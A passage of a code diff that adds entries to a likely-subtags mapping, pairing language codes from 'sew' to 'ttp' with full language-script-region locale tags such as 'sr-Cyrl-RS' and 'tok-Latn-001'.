+ "sew": "sew-Latn-PG",
+ "sey": "sey-Latn-EC",
+ "sez": "sez-Latn-MM",
+ "sfe": "sfe-Latn-PH",
+ "sfm": "sfm-Plrd-CN",
+ "sfw": "sfw-Latn-GH",
+ "sg": "sg-Latn-CF",
+ "sga": "sga-Ogam-IE",
+ "sgb": "sgb-Latn-PH",
+ "sgc": "sgc-Latn-KE",
+ "sgd": "sgd-Latn-PH",
+ "sge": "sge-Latn-ID",
+ "sgh": "sgh-Cyrl-TJ",
+ "sgh-Arab": "sgh-Arab-AF",
+ "sgh-Latn": "sgh-Latn-TJ",
+ "sgi": "sgi-Latn-CM",
+ "sgj": "sgj-Deva-IN",
+ "sgm": "sgm-Latn-KE",
+ "sgp": "sgp-Latn-IN",
+ "sgr": "sgr-Arab-IR",
+ "sgs": "sgs-Latn-LT",
+ "sgt": "sgt-Tibt-BT",
+ "sgu": "sgu-Latn-ID",
+ "sgw": "sgw-Ethi-ZZ",
+ "sgy": "sgy-Arab-AF",
+ "sgz": "sgz-Latn-ZZ",
+ "sha": "sha-Latn-NG",
+ "shb": "shb-Latn-BR",
+ "shc": "shc-Latn-CD",
+ "shd": "shd-Arab-PK",
+ "she": "she-Latn-ET",
+ "shg": "shg-Latn-BW",
+ "shh": "shh-Latn-US",
+ "shi": "shi-Tfng-MA",
+ "shj": "shj-Latn-SD",
+ "shk": "shk-Latn-ZZ",
+ "shm": "shm-Arab-IR",
+ "shn": "shn-Mymr-MM",
+ "sho": "sho-Latn-NG",
+ "shp": "shp-Latn-PE",
+ "shq": "shq-Latn-ZM",
+ "shr": "shr-Latn-CD",
+ "shs": "shs-Latn-CA",
+ "sht": "sht-Latn-US",
+ "shu": "shu-Arab-ZZ",
+ "shv": "shv-Arab-OM",
+ "shw": "shw-Latn-SD",
+ "shy": "shy-Latn-DZ",
+ "shy-Arab": "shy-Arab-DZ",
+ "shy-Tfng": "shy-Tfng-DZ",
+ "shz": "shz-Latn-ML",
+ "si": "si-Sinh-LK",
+ "sia": "sia-Cyrl-RU",
+ "sib": "sib-Latn-MY",
+ "sid": "sid-Latn-ET",
+ "sie": "sie-Latn-ZM",
+ "sif": "sif-Latn-BF",
+ "sig": "sig-Latn-ZZ",
+ "sih": "sih-Latn-NC",
+ "sii": "sii-Latn-IN",
+ "sij": "sij-Latn-PG",
+ "sik": "sik-Latn-BR",
+ "sil": "sil-Latn-ZZ",
+ "sim": "sim-Latn-ZZ",
+ "sip": "sip-Tibt-IN",
+ "siq": "siq-Latn-PG",
+ "sir": "sir-Latn-NG",
+ "sis": "sis-Latn-US",
+ "siu": "siu-Latn-PG",
+ "siv": "siv-Latn-PG",
+ "siw": "siw-Latn-PG",
+ "six": "six-Latn-PG",
+ "siy": "siy-Arab-IR",
+ "siz": "siz-Arab-EG",
+ "sja": "sja-Latn-CO",
+ "sjb": "sjb-Latn-ID",
+ "sjd": "sjd-Cyrl-RU",
+ "sje": "sje-Latn-SE",
+ "sjg": "sjg-Latn-TD",
+ "sjl": "sjl-Latn-IN",
+ "sjm": "sjm-Latn-PH",
+ "sjp": "sjp-Deva-IN",
+ "sjp-Beng": "sjp-Beng-IN",
+ "sjr": "sjr-Latn-ZZ",
+ "sjt": "sjt-Cyrl-RU",
+ "sju": "sju-Latn-SE",
+ "sjw": "sjw-Latn-US",
+ "sk": "sk-Latn-SK",
+ "ska": "ska-Latn-US",
+ "skb": "skb-Thai-TH",
+ "skc": "skc-Latn-ZZ",
+ "skd": "skd-Latn-US",
+ "ske": "ske-Latn-VU",
+ "skf": "skf-Latn-BR",
+ "skg": "skg-Latn-MG",
+ "skh": "skh-Latn-ID",
+ "ski": "ski-Latn-ID",
+ "skj": "skj-Deva-NP",
+ "skm": "skm-Latn-PG",
+ "skn": "skn-Latn-PH",
+ "sko": "sko-Latn-ID",
+ "skp": "skp-Latn-MY",
+ "skq": "skq-Latn-BF",
+ "skr": "skr-Arab-PK",
+ "sks": "sks-Latn-ZZ",
+ "skt": "skt-Latn-CD",
+ "sku": "sku-Latn-VU",
+ "skv": "skv-Latn-ID",
+ "skw": "skw-Latn-GY",
+ "skx": "skx-Latn-ID",
+ "sky": "sky-Latn-SB",
+ "skz": "skz-Latn-ID",
+ "sl": "sl-Latn-SI",
+ "slc": "slc-Latn-CO",
+ "sld": "sld-Latn-ZZ",
+ "slg": "slg-Latn-ID",
+ "slh": "slh-Latn-US",
+ "sli": "sli-Latn-PL",
+ "slj": "slj-Latn-BR",
+ "sll": "sll-Latn-ZZ",
+ "slm": "slm-Latn-PH",
+ "sln": "sln-Latn-US",
+ "slp": "slp-Latn-ID",
+ "slq": "slq-Arab-IR",
+ "slr": "slr-Latn-CN",
+ "slu": "slu-Latn-ID",
+ "slw": "slw-Latn-PG",
+ "slx": "slx-Latn-CD",
+ "sly": "sly-Latn-ID",
+ "slz": "slz-Latn-ID",
+ "sm": "sm-Latn-WS",
+ "sma": "sma-Latn-SE",
+ "smb": "smb-Latn-PG",
+ "smc": "smc-Latn-PG",
+ "smd": "kmb-Latn-AO",
+ "smf": "smf-Latn-PG",
+ "smg": "smg-Latn-PG",
+ "smh": "smh-Yiii-CN",
+ "smj": "smj-Latn-SE",
+ "smk": "smk-Latn-PH",
+ "sml": "sml-Latn-PH",
+ "smn": "smn-Latn-FI",
+ "smp": "smp-Samr-IL",
+ "smq": "smq-Latn-ZZ",
+ "smr": "smr-Latn-ID",
+ "sms": "sms-Latn-FI",
+ "smt": "smt-Latn-IN",
+ "smu": "smu-Khmr-KH",
+ "smw": "smw-Latn-ID",
+ "smx": "smx-Latn-CD",
+ "smy": "smy-Arab-IR",
+ "smz": "smz-Latn-PG",
+ "sn": "sn-Latn-ZW",
+ "snb": "iba-Latn-MY",
+ "snc": "snc-Latn-ZZ",
+ "sne": "sne-Latn-MY",
+ "snf": "snf-Latn-SN",
+ "sng": "sng-Latn-CD",
+ "sng-Brai": "sng-Brai-CD",
+ "sni": "sni-Latn-PE",
+ "snj": "snj-Latn-CF",
+ "snk": "snk-Latn-ML",
+ "snl": "snl-Latn-PH",
+ "snm": "snm-Latn-UG",
+ "snn": "snn-Latn-CO",
+ "sno": "sno-Latn-US",
+ "snp": "snp-Latn-ZZ",
+ "snq": "snq-Latn-GA",
+ "snr": "snr-Latn-PG",
+ "sns": "sns-Latn-VU",
+ "snu": "snu-Latn-ID",
+ "snv": "snv-Latn-MY",
+ "snw": "snw-Latn-GH",
+ "snx": "snx-Latn-ZZ",
+ "sny": "sny-Latn-ZZ",
+ "snz": "snz-Latn-PG",
+ "so": "so-Latn-SO",
+ "soa": "soa-Tavt-TH",
+ "soa-Thai": "soa-Thai-TH",
+ "sob": "sob-Latn-ID",
+ "soc": "soc-Latn-CD",
+ "sod": "sod-Latn-CD",
+ "soe": "soe-Latn-CD",
+ "sog": "sog-Sogd-UZ",
+ "soi": "soi-Deva-NP",
+ "sok": "sok-Latn-ZZ",
+ "sol": "sol-Latn-PG",
+ "soo": "soo-Latn-CD",
+ "sop": "sop-Latn-CD",
+ "soq": "soq-Latn-ZZ",
+ "sor": "sor-Latn-TD",
+ "sos": "sos-Latn-BF",
+ "sou": "sou-Thai-TH",
+ "sov": "sov-Latn-PW",
+ "sow": "sow-Latn-PG",
+ "sox": "sox-Latn-CM",
+ "soy": "soy-Latn-ZZ",
+ "soz": "soz-Latn-TZ",
+ "spb": "spb-Latn-ID",
+ "spc": "spc-Latn-VE",
+ "spd": "spd-Latn-ZZ",
+ "spe": "spe-Latn-PG",
+ "spg": "spg-Latn-MY",
+ "spi": "spi-Latn-ID",
+ "spk": "spk-Latn-PG",
+ "spl": "spl-Latn-ZZ",
+ "spm": "spm-Latn-PG",
+ "spn": "spn-Latn-PY",
+ "spo": "spo-Latn-US",
+ "spp": "spp-Latn-ML",
+ "spq": "spq-Latn-PE",
+ "spr": "spr-Latn-ID",
+ "sps": "sps-Latn-ZZ",
+ "spt": "spt-Tibt-IN",
+ "spv": "spv-Orya-IN",
+ "sq": "sq-Latn-AL",
+ "sqa": "sqa-Latn-NG",
+ "sqh": "sqh-Latn-NG",
+ "sqm": "sqm-Latn-CF",
+ "sqo": "sqo-Arab-IR",
+ "sqq": "sqq-Laoo-LA",
+ "sqt": "sqt-Arab-YE",
+ "sqt-Latn": "sqt-Latn-YE",
+ "squ": "squ-Latn-CA",
+ "sr": "sr-Cyrl-RS",
+ "sr-ME": "sr-Latn-ME",
+ "sr-RO": "sr-Latn-RO",
+ "sr-RU": "sr-Latn-RU",
+ "sr-TR": "sr-Latn-TR",
+ "sra": "sra-Latn-PG",
+ "srb": "srb-Sora-IN",
+ "sre": "sre-Latn-ID",
+ "srf": "srf-Latn-PG",
+ "srg": "srg-Latn-PH",
+ "srh": "srh-Arab-CN",
+ "sri": "sri-Latn-CO",
+ "srk": "srk-Latn-MY",
+ "srl": "srl-Latn-ID",
+ "srm": "srm-Latn-SR",
+ "srn": "srn-Latn-SR",
+ "sro": "sro-Latn-IT",
+ "srq": "srq-Latn-BO",
+ "srr": "srr-Latn-SN",
+ "srs": "srs-Latn-CA",
+ "srt": "srt-Latn-ID",
+ "sru": "sru-Latn-BR",
+ "srv": "srv-Latn-PH",
+ "srw": "srw-Latn-ID",
+ "srx": "srx-Deva-IN",
+ "sry": "sry-Latn-PG",
+ "srz": "srz-Arab-IR",
+ "ss": "ss-Latn-ZA",
+ "ssb": "ssb-Latn-PH",
+ "ssc": "ssc-Latn-TZ",
+ "ssd": "ssd-Latn-ZZ",
+ "sse": "sse-Latn-PH",
+ "sse-Arab": "sse-Arab-PH",
+ "ssf": "ssf-Latn-TW",
+ "ssg": "ssg-Latn-ZZ",
+ "ssh": "ssh-Arab-AE",
+ "ssj": "ssj-Latn-PG",
+ "ssl": "ssl-Latn-GH",
+ "ssm": "ssm-Latn-MY",
+ "ssn": "ssn-Latn-KE",
+ "sso": "sso-Latn-PG",
+ "ssq": "ssq-Latn-ID",
+ "sss": "sss-Laoo-LA",
+ "sss-Thai": "sss-Thai-TH",
+ "sst": "sst-Latn-PG",
+ "ssu": "ssu-Latn-PG",
+ "ssv": "ssv-Latn-VU",
+ "ssx": "ssx-Latn-PG",
+ "ssy": "ssy-Latn-ER",
+ "ssz": "ssz-Latn-PG",
+ "st": "st-Latn-ZA",
+ "sta": "sta-Latn-ZM",
+ "stb": "stb-Latn-PH",
+ "ste": "ste-Latn-ID",
+ "stf": "stf-Latn-PG",
+ "stg": "stg-Latn-VN",
+ "sth": "sth-Latn-IE",
+ "sti": "sti-Latn-VN",
+ "sti-KH": "sti-Latn-KH",
+ "stj": "stj-Latn-BF",
+ "stk": "stk-Latn-ZZ",
+ "stl": "stl-Latn-NL",
+ "stm": "stm-Latn-PG",
+ "stn": "stn-Latn-SB",
+ "sto": "sto-Latn-CA",
+ "stp": "stp-Latn-MX",
+ "stq": "stq-Latn-DE",
+ "str": "str-Latn-CA",
+ "sts": "sts-Arab-AF",
+ "stt": "stt-Latn-VN",
+ "stv": "stv-Ethi-ET",
+ "stv-Arab": "stv-Arab-ET",
+ "stw": "stw-Latn-FM",
+ "sty": "sty-Cyrl-RU",
+ "su": "su-Latn-ID",
+ "sua": "sua-Latn-ZZ",
+ "sub": "sub-Latn-CD",
+ "suc": "suc-Latn-PH",
+ "sue": "sue-Latn-ZZ",
+ "sug": "sug-Latn-PG",
+ "sui": "sui-Latn-PG",
+ "suj": "suj-Latn-TZ",
+ "suk": "suk-Latn-TZ",
+ "suo": "suo-Latn-PG",
+ "suq": "suq-Latn-ET",
+ "suq-Ethi": "suq-Ethi-ET",
+ "sur": "sur-Latn-ZZ",
+ "sus": "sus-Latn-GN",
+ "sut": "sut-Latn-NI",
+ "suv": "suv-Latn-IN",
+ "suv-Beng": "suv-Beng-IN",
+ "suv-Deva": "suv-Deva-IN",
+ "suw": "suw-Latn-TZ",
+ "suy": "suy-Latn-BR",
+ "suz": "suz-Deva-NP",
+ "sv": "sv-Latn-SE",
+ "sva": "sva-Geor-GE",
+ "sva-Cyrl": "sva-Cyrl-GE",
+ "sva-Latn": "sva-Latn-GE",
+ "svb": "svb-Latn-PG",
+ "svc": "svc-Latn-VC",
+ "sve": "sve-Latn-ID",
+ "svm": "svm-Latn-IT",
+ "svs": "svs-Latn-SB",
+ "sw": "sw-Latn-TZ",
+ "swb": "swb-Arab-YT",
+ "swc": "sw-Latn-CD",
+ "swf": "swf-Latn-CD",
+ "swg": "swg-Latn-DE",
+ "swi": "swi-Hani-CN",
+ "swj": "swj-Latn-GA",
+ "swk": "swk-Latn-MW",
+ "swm": "swm-Latn-PG",
+ "swo": "swo-Latn-BR",
+ "swp": "swp-Latn-ZZ",
+ "swq": "swq-Latn-CM",
+ "swr": "swr-Latn-ID",
+ "sws": "sws-Latn-ID",
+ "swt": "swt-Latn-ID",
+ "swu": "swu-Latn-ID",
+ "swv": "swv-Deva-IN",
+ "sww": "sww-Latn-VU",
+ "swx": "swx-Latn-BR",
+ "swy": "swy-Latn-TD",
+ "sxb": "sxb-Latn-KE",
+ "sxe": "sxe-Latn-GA",
+ "sxn": "sxn-Latn-ID",
+ "sxr": "sxr-Latn-TW",
+ "sxs": "sxs-Latn-NG",
+ "sxu": "sxu-Latn-DE",
+ "sxu-Runr": "sxu-Runr-DE",
+ "sxw": "sxw-Latn-ZZ",
+ "sya": "sya-Latn-ID",
+ "syb": "syb-Latn-PH",
+ "syc": "syc-Syrc-TR",
+ "syi": "syi-Latn-GA",
+ "syk": "syk-Latn-NG",
+ "syl": "syl-Beng-BD",
+ "sym": "sym-Latn-BF",
+ "syn": "syn-Syrc-IR",
+ "syo": "syo-Latn-KH",
+ "syr": "syr-Syrc-IQ",
+ "sys": "sys-Latn-TD",
+ "syw": "syw-Deva-NP",
+ "syx": "syx-Latn-GA",
+ "sza": "sza-Latn-MY",
+ "szb": "szb-Latn-ID",
+ "szc": "szc-Latn-MY",
+ "szd": "szd-Latn-MY",
+ "szg": "szg-Latn-CD",
+ "szl": "szl-Latn-PL",
+ "szn": "szn-Latn-ID",
+ "szp": "szp-Latn-ID",
+ "szv": "szv-Latn-CM",
+ "szw": "szw-Latn-ID",
+ "szy": "szy-Latn-TW",
+ "ta": "ta-Taml-IN",
+ "taa": "taa-Latn-US",
+ "tab": "tab-Cyrl-RU",
+ "tac": "tac-Latn-MX",
+ "tad": "tad-Latn-ID",
+ "tae": "tae-Latn-BR",
+ "taf": "taf-Latn-BR",
+ "tag": "tag-Latn-SD",
+ "taj": "taj-Deva-NP",
+ "tak": "tak-Latn-NG",
+ "tal": "tal-Latn-ZZ",
+ "tan": "tan-Latn-ZZ",
+ "tao": "tao-Latn-TW",
+ "tap": "tap-Latn-CD",
+ "taq": "taq-Latn-ZZ",
+ "tar": "tar-Latn-MX",
+ "tas": "tas-Latn-VN",
+ "tau": "tau-Latn-US",
+ "tav": "tav-Latn-CO",
+ "taw": "taw-Latn-PG",
+ "tax": "tax-Latn-TD",
+ "tay": "tay-Latn-TW",
+ "tay-Hans": "tay-Hans-TW",
+ "tay-Hant": "tay-Hant-TW",
+ "taz": "taz-Latn-SD",
+ "tba": "tba-Latn-BR",
+ "tbc": "tbc-Latn-ZZ",
+ "tbd": "tbd-Latn-ZZ",
+ "tbe": "tbe-Latn-SB",
+ "tbf": "tbf-Latn-ZZ",
+ "tbg": "tbg-Latn-ZZ",
+ "tbh": "tbh-Latn-AU",
+ "tbi": "tbi-Latn-SD",
+ "tbj": "tbj-Latn-PG",
+ "tbk": "tbk-Tagb-PH",
+ "tbk-Hano": "tbk-Hano-PH",
+ "tbk-Latn": "tbk-Latn-PH",
+ "tbl": "tbl-Latn-PH",
+ "tbm": "tbm-Latn-CD",
+ "tbn": "tbn-Latn-CO",
+ "tbo": "tbo-Latn-ZZ",
+ "tbp": "tbp-Latn-ID",
+ "tbs": "tbs-Latn-PG",
+ "tbt": "tbt-Latn-CD",
+ "tbu": "tbu-Latn-MX",
+ "tbv": "tbv-Latn-PG",
+ "tbw": "tbw-Latn-PH",
+ "tbx": "tbx-Latn-PG",
+ "tby": "tby-Latn-ID",
+ "tbz": "tbz-Latn-ZZ",
+ "tca": "tca-Latn-BR",
+ "tcb": "tcb-Latn-US",
+ "tcc": "tcc-Latn-TZ",
+ "tcd": "tcd-Latn-GH",
+ "tce": "tce-Latn-CA",
+ "tcf": "tcf-Latn-MX",
+ "tcg": "tcg-Latn-ID",
+ "tch": "tch-Latn-TC",
+ "tci": "tci-Latn-ZZ",
+ "tck": "tck-Latn-GA",
+ "tcm": "tcm-Latn-ID",
+ "tcn": "tcn-Tibt-NP",
+ "tco": "tco-Mymr-MM",
+ "tcp": "tcp-Latn-MM",
+ "tcq": "tcq-Latn-ID",
+ "tcs": "tcs-Latn-AU",
+ "tcu": "tcu-Latn-MX",
+ "tcw": "tcw-Latn-MX",
+ "tcx": "tcx-Taml-IN",
+ "tcy": "tcy-Knda-IN",
+ "tcz": "tcz-Latn-IN",
+ "tda": "tda-Tfng-NE",
+ "tda-Arab": "tda-Arab-NE",
+ "tda-Latn": "tda-Latn-NE",
+ "tdb": "tdb-Deva-IN",
+ "tdb-Beng": "tdb-Beng-IN",
+ "tdb-Kthi": "tdb-Kthi-IN",
+ "tdc": "tdc-Latn-CO",
+ "tdd": "tdd-Tale-CN",
+ "tde": "tde-Latn-ML",
+ "tdg": "tdg-Deva-NP",
+ "tdh": "tdh-Deva-NP",
+ "tdi": "tdi-Latn-ID",
+ "tdj": "tdj-Latn-ID",
+ "tdk": "tdk-Latn-NG",
+ "tdl": "tdl-Latn-NG",
+ "tdm": "tdm-Latn-GY",
+ "tdn": "tdn-Latn-ID",
+ "tdo": "tdo-Latn-NG",
+ "tdq": "tdq-Latn-NG",
+ "tdr": "tdr-Latn-VN",
+ "tds": "tds-Latn-ID",
+ "tdt": "tdt-Latn-TL",
+ "tdu": "dtp-Latn-MY",
+ "tdv": "tdv-Latn-NG",
+ "tdx": "tdx-Latn-MG",
+ "tdy": "tdy-Latn-PH",
+ "te": "te-Telu-IN",
+ "tea": "tea-Latn-MY",
+ "teb": "teb-Latn-EC",
+ "tec": "tec-Latn-KE",
+ "ted": "ted-Latn-ZZ",
+ "tee": "tee-Latn-MX",
+ "teg": "teg-Latn-GA",
+ "teh": "teh-Latn-AR",
+ "tei": "tei-Latn-PG",
+ "tek": "tek-Latn-CD",
+ "tem": "tem-Latn-SL",
+ "ten": "ten-Latn-CO",
+ "teo": "teo-Latn-UG",
+ "tep": "tep-Latn-MX",
+ "teq": "teq-Latn-SD",
+ "ter": "ter-Latn-BR",
+ "tes": "tes-Java-ID",
+ "tet": "tet-Latn-TL",
+ "teu": "teu-Latn-UG",
+ "tev": "tev-Latn-ID",
+ "tew": "tew-Latn-US",
+ "tex": "tex-Latn-SS",
+ "tey": "tey-Latn-SD",
+ "tfi": "tfi-Latn-ZZ",
+ "tfn": "tfn-Latn-US",
+ "tfo": "tfo-Latn-ID",
+ "tfr": "tfr-Latn-PA",
+ "tft": "tft-Latn-ID",
+ "tg": "tg-Cyrl-TJ",
+ "tg-Arab": "tg-Arab-PK",
+ "tg-PK": "tg-Arab-PK",
+ "tga": "tga-Latn-KE",
+ "tgb": "tgb-Latn-MY",
+ "tgc": "tgc-Latn-ZZ",
+ "tgd": "tgd-Latn-NG",
+ "tge": "tge-Deva-NP",
+ "tgf": "tgf-Tibt-BT",
+ "tgh": "tgh-Latn-TT",
+ "tgi": "tgi-Latn-PG",
+ "tgj": "tgj-Latn-IN",
+ "tgn": "tgn-Latn-PH",
+ "tgo": "tgo-Latn-ZZ",
+ "tgp": "tgp-Latn-VU",
+ "tgq": "tgq-Latn-MY",
+ "tgs": "tgs-Latn-VU",
+ "tgt": "tgt-Latn-PH",
+ "tgt-Hano": "tgt-Hano-PH",
+ "tgt-Tagb": "tgt-Tagb-PH",
+ "tgu": "tgu-Latn-ZZ",
+ "tgv": "tgv-Latn-BR",
+ "tgw": "tgw-Latn-CI",
+ "tgx": "tgx-Latn-CA",
+ "tgy": "tgy-Latn-SS",
+ "tgz": "tgz-Latn-AU",
+ "th": "th-Thai-TH",
+ "thd": "thd-Latn-AU",
+ "the": "the-Deva-NP",
+ "thf": "thf-Deva-NP",
+ "thh": "thh-Latn-MX",
+ "thi": "thi-Tale-LA",
+ "thk": "thk-Latn-KE",
+ "thl": "thl-Deva-NP",
+ "thm": "thm-Thai-TH",
+ "thp": "thp-Latn-CA",
+ "thp-Dupl": "thp-Dupl-CA",
+ "thq": "thq-Deva-NP",
+ "thr": "thr-Deva-NP",
+ "ths": "ths-Deva-NP",
+ "tht": "tht-Latn-CA",
+ "thu": "thu-Latn-SS",
+ "thv": "thv-Latn-DZ",
+ "thv-Arab": "thv-Arab-DZ",
+ "thv-Tfng": "thv-Tfng-DZ",
+ "thy": "thy-Latn-NG",
+ "thz": "thz-Latn-NE",
+ "thz-Tfng": "thz-Tfng-NE",
+ "ti": "ti-Ethi-ET",
+ "tic": "tic-Latn-SD",
+ "tif": "tif-Latn-ZZ",
+ "tig": "tig-Ethi-ER",
+ "tih": "tih-Latn-MY",
+ "tii": "tii-Latn-CD",
+ "tij": "tij-Deva-NP",
+ "tik": "tik-Latn-ZZ",
+ "til": "til-Latn-US",
+ "tim": "tim-Latn-ZZ",
+ "tin": "tin-Cyrl-RU",
+ "tio": "tio-Latn-ZZ",
+ "tip": "tip-Latn-ID",
+ "tiq": "tiq-Latn-BF",
+ "tis": "tis-Latn-PH",
+ "tit": "tit-Latn-CO",
+ "tiu": "tiu-Latn-PH",
+ "tiv": "tiv-Latn-NG",
+ "tiw": "tiw-Latn-AU",
+ "tix": "tix-Latn-US",
+ "tiy": "tiy-Latn-PH",
+ "tja": "tja-Latn-LR",
+ "tjg": "tjg-Latn-ID",
+ "tji": "tji-Latn-CN",
+ "tjj": "tjj-Latn-AU",
+ "tjl": "tjl-Mymr-MM",
+ "tjn": "tjn-Latn-CI",
+ "tjo": "tjo-Arab-DZ",
+ "tjp": "tjp-Latn-AU",
+ "tjs": "tjs-Latn-CN",
+ "tju": "tju-Latn-AU",
+ "tjw": "tjw-Latn-AU",
+ "tk": "tk-Latn-TM",
+ "tka": "tka-Latn-BR",
+ "tkb": "tkb-Deva-IN",
+ "tkd": "tkd-Latn-TL",
+ "tke": "tke-Latn-MZ",
+ "tkf": "tkf-Latn-BR",
+ "tkg": "tkg-Latn-MG",
+ "tkl": "tkl-Latn-TK",
+ "tkp": "tkp-Latn-SB",
+ "tkq": "tkq-Latn-NG",
+ "tkr": "tkr-Latn-AZ",
+ "tks": "tks-Arab-IR",
+ "tkt": "tkt-Deva-NP",
+ "tku": "tku-Latn-MX",
+ "tkv": "tkv-Latn-PG",
+ "tkw": "tkw-Latn-SB",
+ "tkx": "tkx-Latn-ID",
+ "tkz": "tkz-Latn-VN",
+ "tl": "fil-Latn-PH",
+ "tla": "tla-Latn-MX",
+ "tlb": "tlb-Latn-ID",
+ "tlc": "tlc-Latn-MX",
+ "tld": "tld-Latn-ID",
+ "tlf": "tlf-Latn-ZZ",
+ "tlg": "tlg-Latn-ID",
+ "tli": "tli-Latn-US",
+ "tli-Cyrl": "tli-Cyrl-US",
+ "tlj": "tlj-Latn-UG",
+ "tlk": "tlk-Latn-ID",
+ "tll": "tll-Latn-CD",
+ "tlm": "tlm-Latn-VU",
+ "tln": "tln-Latn-ID",
+ "tlp": "tlp-Latn-MX",
+ "tlq": "tlq-Latn-MM",
+ "tlr": "tlr-Latn-SB",
+ "tls": "tls-Latn-VU",
+ "tlt": "tlt-Latn-ID",
+ "tlu": "tlu-Latn-ID",
+ "tlv": "tlv-Latn-ID",
+ "tlx": "tlx-Latn-ZZ",
+ "tly": "tly-Latn-AZ",
+ "tma": "tma-Latn-TD",
+ "tmb": "tmb-Latn-VU",
+ "tmc": "tmc-Latn-TD",
+ "tmd": "tmd-Latn-PG",
+ "tme": "tme-Latn-BR",
+ "tmf": "tmf-Latn-PY",
+ "tmg": "tmg-Latn-ID",
+ "tmh": "tmh-Latn-NE",
+ "tmi": "tmi-Latn-VU",
+ "tmj": "tmj-Latn-ID",
+ "tmk": "tmk-Deva-NP",
+ "tml": "tml-Latn-ID",
+ "tmm": "tmm-Latn-VN",
+ "tmn": "tmn-Latn-ID",
+ "tmo": "tmo-Latn-MY",
+ "tmq": "tmq-Latn-PG",
+ "tmr": "tmr-Syrc-IL",
+ "tmt": "tmt-Latn-VU",
+ "tmu": "tmu-Latn-ID",
+ "tmv": "tmv-Latn-CD",
+ "tmw": "tmw-Latn-MY",
+ "tmy": "tmy-Latn-ZZ",
+ "tmz": "tmz-Latn-VE",
+ "tn": "tn-Latn-ZA",
+ "tna": "tna-Latn-BO",
+ "tnb": "tnb-Latn-CO",
+ "tnc": "tnc-Latn-CO",
+ "tnd": "tnd-Latn-CO",
+ "tng": "tng-Latn-TD",
+ "tnh": "tnh-Latn-ZZ",
+ "tni": "tni-Latn-ID",
+ "tnk": "tnk-Latn-VU",
+ "tnl": "tnl-Latn-VU",
+ "tnm": "tnm-Latn-ID",
+ "tnn": "tnn-Latn-VU",
+ "tno": "tno-Latn-BO",
+ "tnp": "tnp-Latn-VU",
+ "tnq": "tnq-Latn-PR",
+ "tnr": "tnr-Latn-SN",
+ "tns": "tns-Latn-PG",
+ "tnt": "tnt-Latn-ID",
+ "tnv": "tnv-Cakm-BD",
+ "tnw": "tnw-Latn-ID",
+ "tnx": "tnx-Latn-SB",
+ "tny": "tny-Latn-TZ",
+ "to": "to-Latn-TO",
+ "tob": "tob-Latn-AR",
+ "toc": "toc-Latn-MX",
+ "tod": "tod-Latn-GN",
+ "tof": "tof-Latn-ZZ",
+ "tog": "tog-Latn-MW",
+ "toh": "toh-Latn-MZ",
+ "toi": "toi-Latn-ZM",
+ "toj": "toj-Latn-MX",
+ "tok": "tok-Latn-001",
+ "tol": "tol-Latn-US",
+ "tom": "tom-Latn-ID",
+ "too": "too-Latn-MX",
+ "top": "top-Latn-MX",
+ "toq": "toq-Latn-ZZ",
+ "tor": "tor-Latn-CD",
+ "tos": "tos-Latn-MX",
+ "tou": "tou-Latn-VN",
+ "tov": "tov-Arab-IR",
+ "tow": "tow-Latn-US",
+ "tox": "tox-Latn-PW",
+ "toy": "toy-Latn-ID",
+ "toz": "toz-Latn-CM",
+ "tpa": "tpa-Latn-PG",
+ "tpc": "tpc-Latn-MX",
+ "tpe": "tpe-Latn-BD",
+ "tpe-Beng": "tpe-Beng-BD",
+ "tpf": "tpf-Latn-ID",
+ "tpg": "tpg-Latn-ID",
+ "tpi": "tpi-Latn-PG",
+ "tpj": "tpj-Latn-PY",
+ "tpk": "tpk-Latn-BR",
+ "tpl": "tpl-Latn-MX",
+ "tpm": "tpm-Latn-ZZ",
+ "tpn": "tpn-Latn-BR",
+ "tpp": "tpp-Latn-MX",
+ "tpr": "tpr-Latn-BR",
+ "tpt": "tpt-Latn-MX",
+ "tpu": "tpu-Khmr-KH",
+ "tpv": "tpv-Latn-MP",
+ "tpx": "tpx-Latn-MX",
+ "tpy": "tpy-Latn-BR",
+ "tpz": "tpz-Latn-ZZ",
+ "tqb": "tqb-Latn-BR",
+ "tql": "tql-Latn-VU",
+ "tqm": "tqm-Latn-PG",
+ "tqn": "tqn-Latn-US",
+ "tqo": "tqo-Latn-ZZ",
+ "tqp": "tqp-Latn-PG",
+ "tqt": "tqt-Latn-MX",
+ "tqu": "tqu-Latn-SB",
+ "tqw": "tqw-Latn-US",
+ "tr": "tr-Latn-TR",
+ "tra": "tra-Arab-AF",
+ "trb": "trb-Latn-PG",
+ "trc": "trc-Latn-MX",
+ "tre": "tre-Latn-ID",
+ "trf": "trf-Latn-TT",
+ "trg": "trg-Hebr-IL",
+ "trh": "trh-Latn-PG",
+ "tri": "tri-Latn-SR",
+ "trj": "trj-Latn-TD",
+ "trl": "trl-Latn-GB",
+ "trm": "trm-Arab-AF",
+ "trn": "trn-Latn-BO",
+ "tro": "tro-Latn-IN",
+ "trp": "trp-Latn-IN",
+ "trp-Beng": "trp-Beng-IN",
+ "trq": "trq-Latn-MX",
+ "trr": "trr-Latn-PE",
+ "trs": "trs-Latn-MX",
+ "trt": "trt-Latn-ID",
+ "tru": "tru-Latn-TR",
+ "trv": "trv-Latn-TW",
+ "trw": "trw-Arab-PK",
+ "trx": "trx-Latn-MY",
+ "try": "try-Latn-IN",
+ "trz": "trz-Latn-BR",
+ "ts": "ts-Latn-ZA",
+ "tsa": "tsa-Latn-CG",
+ "tsb": "tsb-Latn-ET",
+ "tsc": "tsc-Latn-MZ",
+ "tsd": "tsd-Grek-GR",
+ "tsf": "taj-Deva-NP",
+ "tsg": "tsg-Latn-PH",
+ "tsh": "tsh-Latn-CM",
+ "tsi": "tsi-Latn-CA",
+ "tsj": "tsj-Tibt-BT",
+ "tsl": "tsl-Latn-VN",
+ "tsp": "tsp-Latn-BF",
+ "tsr": "tsr-Latn-VU",
+ "tst": "tst-Latn-ML",
+ "tsu": "tsu-Latn-TW",
+ "tsv": "tsv-Latn-GA",
+ "tsw": "tsw-Latn-ZZ",
+ "tsx": "tsx-Latn-PG",
+ "tsz": "tsz-Latn-MX",
+ "tt": "tt-Cyrl-RU",
+ "ttb": "ttb-Latn-NG",
+ "ttc": "ttc-Latn-GT",
+ "ttd": "ttd-Latn-ZZ",
+ "tte": "tte-Latn-ZZ",
+ "ttf": "ttf-Latn-CM",
+ "tth": "tth-Laoo-LA",
+ "tti": "tti-Latn-ID",
+ "ttj": "ttj-Latn-UG",
+ "ttk": "ttk-Latn-CO",
+ "ttl": "ttl-Latn-ZM",
+ "ttm": "ttm-Latn-CA",
+ "ttn": "ttn-Latn-ID",
+ "tto": "tto-Laoo-LA",
+ "ttp": "ttp-Latn-ID",
